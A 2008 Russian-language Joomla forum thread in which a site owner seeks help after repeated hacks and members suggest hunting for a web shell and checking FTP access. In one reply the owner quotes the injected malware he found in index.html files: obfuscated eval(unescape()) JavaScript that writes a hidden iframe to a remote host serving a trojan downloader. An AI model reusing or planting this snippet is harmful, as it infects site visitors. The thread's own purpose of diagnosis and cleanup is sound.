Новости Joomla

Онлайн-трансляции Joomla-разработки Игоря Бердичевского

20 лет Joomla: Ринат Кажетов.В 2025 году Joomla исполнилось 20 лет

20 лет Joomla: Ринат Кажетов.В 2025 году Joomla исполнилось 20 лет

👩‍💻 20 лет Joomla: Ринат Кажетов.В 2025 году Joomla исполнилось 20 лет. Вокруг неё сложилось большое интернациональное русскоязычное сообщество. На сайте нашего сообщества и на Хабре к юбилею были собраны интервью с его видными представителями. Сегодня мы читаем интервью с Ринатом Кажетовым (@rkazhet). Ринат - один из администраторов чата русскоязычного Joomla-сообщества, из Казахстана. Это человек, который всегда знает или найдёт нужную ссылку, пристально следит за новостями в мире Joomla, многое узнаёт первым и просто очень отзывчивый человек. Интервью с Ринатом взял Евгений Сивоконь.Читать интервью@joomlafeed#joomla #community

20 лет Joomla: Ринат Кажетов

1   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 13 Ответов
  • 3117 Просмотров
*

Vovan4elli

  • Новичок
  • 2
  • 0 / 0
  • Я не веб-мастер, я только учусь
Неоднократный взлом сайта
« : 16.01.2008, 18:21:21 »
Привет всем знатокам, я буквально плачу  >:(

Второй раз за месяц хакают сайт! Я до сих пор не понял как и где это сделали, суть в том что при загрузке страниц пользователя несколько раз кидает на сайты где их ждет троян довлоадер. Первый раз стояла joomla paranoia сейчас Lavra и та же морковка, подскажите где искать и что делать.  !!!???!!!
Записан
*

era

  • Администратор
  • 1588
  • 392 / 5
  • В туалете лучше быть пользователем, чем админом.
Re: Неоднократный взлом сайта
« Ответ #1 : 16.01.2008, 18:32:57 »
ищи по форуму - неоднократно обсуждалось.
всего 3-и или 4-е шага.

P.S> и на антивирус не надо забивать.
Записан
*

temniy

  • Захожу иногда
  • 413
  • 85 / 9
Re: Неоднократный взлом сайта
« Ответ #2 : 16.01.2008, 18:37:49 »
Паранойя и Лавра это одно и  то же.
Помимо антивируса и поиска виря у себя рекомендую проверить нет ли шелла на сервере. Опять же смотри в поиске - как искать.
Записан
Лучший хостинг от 1 евро!
Сервис whois  |  Домены по отличным ценам (более 80 зон, хорошие цены и консультации -> после регистрации)
*

Vovan4elli

  • Новичок
  • 2
  • 0 / 0
  • Я не веб-мастер, я только учусь
Re: Неоднократный взлом сайта
« Ответ #3 : 16.01.2008, 19:47:39 »
Цитата: era от 16.01.2008, 18:32:57
ищи по форуму - неоднократно обсуждалось.
всего 3-и или 4-е шага.

P.S> и на антивирус не надо забивать.

Как раз антивирус и нашел это дело. По форуму поискал ничего подобного нет.

Цитата: temniy от 16.01.2008, 18:37:49
Паранойя и Лавра это одно и  то же.
Помимо антивируса и поиска виря у себя рекомендую проверить нет ли шелла на сервере. Опять же смотри в поиске - как искать.

Виря на моем компе нет и не было, он попал на сайт из вне, как раз шелл мне и надо найти. Индексные файлы нетронуты,конфигурационные тоже .htaccess в порядке. Где искать я не знаю.
Записан
*

iT)ZevS(

  • Захожу иногда
  • 177
  • 31 / 2
Re: Неоднократный взлом сайта
« Ответ #4 : 16.01.2008, 20:04:31 »
после того как взломали надо искать через что и фиксить дырки
Записан
*

era

  • Администратор
  • 1588
  • 392 / 5
  • В туалете лучше быть пользователем, чем админом.
Re: Неоднократный взлом сайта
« Ответ #5 : 16.01.2008, 20:15:50 »
вспоминай откуда ещё по FTP заходил на сайт.
с работы? от друга? второй админ есть на сайте? или дизайнер? шэф?
Записан
*

temniy

  • Захожу иногда
  • 413
  • 85 / 9
Re: Неоднократный взлом сайта
« Ответ #6 : 16.01.2008, 22:45:21 »
шелл найти просто - проверь все файлы во всех папках, сравни с дистрибутивом. Если есть лишнее - наверное это оно. Если лишнего нет, проверь все файлы также по датам, в общем все даты должны быть одинаковы, а у шелла будет другая. Ищи по слову шелл, тема обсуждалась и неоднократно.
Записан
Лучший хостинг от 1 евро!
Сервис whois  |  Домены по отличным ценам (более 80 зон, хорошие цены и консультации -> после регистрации)
*

Vovan4elli

  • Новичок
  • 2
  • 0 / 0
  • Я не веб-мастер, я только учусь
Re: Неоднократный взлом сайта
« Ответ #7 : 17.01.2008, 10:13:15 »
Цитата: iT)ZevS( от 16.01.2008, 20:04:31
после того как взломали надо искать через что и фиксить дырки

Легко сказать, я сделал все что мог, выставил chmod, отключил все ненужные функции php, обновился до последней версии joomla.

Цитата: era от 16.01.2008, 20:15:50
вспоминай откуда ещё по FTP заходил на сайт.
с работы? от друга? второй админ есть на сайте? или дизайнер? шэф?

Я единственный, работал тока с рабочего компа, сетка и комп хорошо защищены от вирей. Дизайн тож мой, шеф доступа не имеет.

Цитата: temniy от 16.01.2008, 22:45:21
шелл найти просто - проверь все файлы во всех папках, сравни с дистрибутивом. Если есть лишнее - наверное это оно. Если лишнего нет, проверь все файлы также по датам, в общем все даты должны быть одинаковы, а у шелла будет другая. Ищи по слову шелл, тема обсуждалась и неоднократно.

Я понимаю. Но перелапатить весь дистрибутив не так просто, может есть первостепенные директории где стоит искать?
Записан
*

Alex_A

  • Осваиваюсь на форуме
  • 35
  • 11 / 0
Re: Неоднократный взлом сайта
« Ответ #8 : 17.01.2008, 10:46:14 »
Цитировать
суть в том что при загрузке страниц пользователя несколько раз кидает на сайты

Посмотри на какой компонент заходишь?
Перекидыват сразу или на определенных страницах?
Записан
www.interesno.dn.ua - все, что интересно!
*

Vovan4elli

  • Новичок
  • 2
  • 0 / 0
  • Я не веб-мастер, я только учусь
Re: Неоднократный взлом сайта
« Ответ #9 : 17.01.2008, 11:42:06 »
Ну наконец! Нашел этот поганый скрипт! Он есть почти в каждой директории в файле index.html который по идее далжен содержать токо <html><body></body></html> вместо этого он содержит вот это чудо:

Код
<html><body bgcolor="#FFFFFF"></body></html><script type='text/javascript'>
<!--
var msg=314,d=document;
eval(unescape ('%20%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%20%64%2e%77%72%69%74%65%28%27%3c%49%46%52%41%4d%45%20%6e%61%6d%65%3d%30%65%30%32%38%32%34%31%66%31%66%31%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%73%74%61%62%72%6f%6f%6d%2e%63%6e%2f%33%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%38%34%37%34%30%29%2b%27%33%30%66%64%37%34%63%5c%27%20%77%69%64%74%68%3d%34%34%36%20%68%65%69%67%68%74%3d%31%39%30%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%49%46%52%41%4d%45%3e%27%29') );
//-->
</script>

Теперь понятно где, но непонятно как. Вот лог сервера за это число но никаких подозрительных вещей я там не нашел, что наводи на мысли что проникли на сайт через FTP, пароль к нему и к БД я сменил только вот поможет ли?

Цитата: Alex_A от 17.01.2008, 10:46:14
Посмотри на какой компонент заходишь?
Перекидыват сразу или на определенных страницах?

На всех поголовно, даже в админке. Он не перекидывает, страничка открывается но в тихом режиме посылаются три запросы на сайты которые подсовывают TrojanDownloader.IFrame.

[вложение удалено Администратором]
« Последнее редактирование: 17.01.2008, 11:51:37 от Vovan4elli »
Записан
*

era

  • Администратор
  • 1588
  • 392 / 5
  • В туалете лучше быть пользователем, чем админом.
Re: Неоднократный взлом сайта
« Ответ #10 : 17.01.2008, 12:04:08 »
Ищи всё-таки вирус у себя на компе, если больше никому доступ по FTP не давал.
Записан
*

Vovan4elli

  • Новичок
  • 2
  • 0 / 0
  • Я не веб-мастер, я только учусь
Re: Неоднократный взлом сайта
« Ответ #11 : 17.01.2008, 12:40:00 »
Цитата: beliyadm от 17.01.2008, 11:53:16
а в логах доступа по фтп что нить есть за тот период?

У меня нет доступа к этим логам. Попробую написать хостеру...

Цитата: era от 17.01.2008, 12:04:08
Ищи всё-таки вирус у себя на компе, если больше никому доступ по FTP не давал.

Уже искал и не один раз и разными антивирусами Нодом и Каспером. Да и к тому же первый раз хакнули когда я даже фтп не пользовался. Просто в один прекрасный день зашел на сайт и был приятно удивлен писку антивируса.
Записан
*

Messer

  • Захожу иногда
  • 54
  • 0 / 0
Re: Неоднократный взлом сайта
« Ответ #12 : 09.02.2008, 20:50:26 »
ftp не пользовался? А дистриб как на хост попал?
Ищи троян! некоторые трояны еще скан с клавиатуры делают... Так что совсем не важно сохранял ты пассы или нет
Записан
*

temniy

  • Захожу иногда
  • 413
  • 85 / 9
Re: Неоднократный взлом сайта
« Ответ #13 : 10.02.2008, 20:20:31 »
хороший анти-вирус-троян-руткит - http://z-oleg.com/secur/avz/
программа бесплатна
Записан
Лучший хостинг от 1 евро!
Сервис whois  |  Домены по отличным ценам (более 80 зон, хорошие цены и консультации -> после регистрации)
1   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

При открытии сайта с режима инкогнито перекидывает на вирусный сайт

Автор 62411

 Ответов: 6
Просмотров: 3145 		Последний ответ 31.03.2024, 16:14:32
от SeBun
Вирус редирект или взлом с редиректом Joomla 3.10

Автор Wany205

 Ответов: 1
Просмотров: 3465 		Последний ответ 25.05.2023, 08:49:57
от Театрал
Похоже на взлом J! 3.5

Автор memo

 Ответов: 7
Просмотров: 3425 		Последний ответ 23.09.2022, 10:56:06
от marksetter
Компоненты и скрипты для защиты сайта. Логи атак на сайты

Автор wishlight

 Ответов: 678
Просмотров: 268091 		Последний ответ 14.09.2022, 14:29:43
от wishlight
Способы защиты сайта от DDoS атак?

Автор IgorMJ

 Ответов: 7
Просмотров: 2748 		Последний ответ 05.10.2021, 21:39:26
от ShopES